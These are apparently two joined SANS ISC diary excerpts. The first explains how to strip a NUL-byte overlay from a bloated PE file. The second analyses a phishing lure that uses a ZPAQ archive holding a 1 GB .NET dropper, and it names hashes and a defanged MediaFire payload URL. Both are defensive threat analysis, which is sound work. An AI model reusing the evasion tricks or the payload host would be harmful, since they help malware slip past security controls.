The overlay is 953 MB in size, starts with NUL bytes (MAGIC 00000000) and has an entropy of zero and only one byte value. With this statistical info, we can conclude that the overlay is just a long sequence of NUL bytes. Thus we can remove it. We use option -g to get the stripped (s) version of the PE file: e.g., the PE file without its overlay.

By default, the output is an hex/ascii dump:

One can see that the PE file still ends with NUL bytes: that's the padding of the last section, that we want to preserve.

To extract the stripped PE file, we use option -D to perform a binary dump and then we write that binary data to disk with file redirection:

The stripped PE file has a normal size now, and can be submitted for analysis.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

Did you ever seen ZPAQ archives? This morning, my honeypot captured a phishing attempt which lured the potential victim to open a "ZPAQ" archive. This is not a common file format. This could be used by the attacker to bypass classic security controles. What Wikiepadia says about ZPAQ:

ZPAQ is an open source command line archiver for Windows and Linux. It uses a journaling or append-only format which can be rolled back to an earlier state to retrieve older versions of files and directories. It supports fast incremental update by adding only files whose last-modified date has changed since the previous update. It compresses using deduplication and several algorithms (LZ77, BWT, and context mixing) depending on the data type and the selected compression level. To preserve forward and backward compatibility between versions as the compression algorithm is improved, it stores the decompression algorithm in the archive.

The file was called "Purchase Order pdf.zpaq" (SHA256:1c33eef0d22dc54bb2a41af485070612cd4579529e31b63be2141c4be9183eb6[1]). The fact that the archive is using an "exotic" compress algorithm, the VT score is null! I tried the classic tools on a stock Windows operating systems, including 7Zip and no one was able to decompress the archive. This is a strange because it reduces the number of potential victims! On Windows, you can use PeaZip[2].

On my REMnux sandbox, I had to install 'zpaq' to process the file:

remnux@remnux:/MalwareZoo/20231101$ zpaq x Purchase\ Order\ pdf.zpaq 
zpaq v7.15 journaling archiver, compiled Mar 22 2020
Purchase Order pdf.zpaq: 1 versions, 1 files, 3 fragments, 0.006140 MB
Extracting 1000.000000 MB in 1 files -threads 2
[1..3] -> 160908
> Zfaggccwnm.exe
0.385 seconds (all OK)

You can see that the same technique as describe in one of my last diary[3] is used: the PE file is pretty big (1GB) to defeat more security controls.

The malware (SHA256:d15eaee1ad4cadfeada118324f7bd65f546940cb23808142de1157373ee35389) and is unknown on VT. It's a .Net executable. I had a quick look and it downloads an obfuscated payload from hxxps://www[.]mediafire[.]com/file/vgvujtm9ke2lj1c/Gnwwcgocwzl[.]wav/file. I started to debug the .Net file to understand the obfuscation used and the purpose of the wav file (probaly the real malware) but it seems to not work in my lab. If you have more details, feel free to share!

[1] https://www.virustotal.com/gui/file/1c33eef0d22dc54bb2a41af485070612cd4579529e31b63be2141c4be9183eb6
[2] https://peazip.github.io
[3] https://isc.sans.edu/diary/Size%20Matters%20for%20Many%20Security%20Controls/30352

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key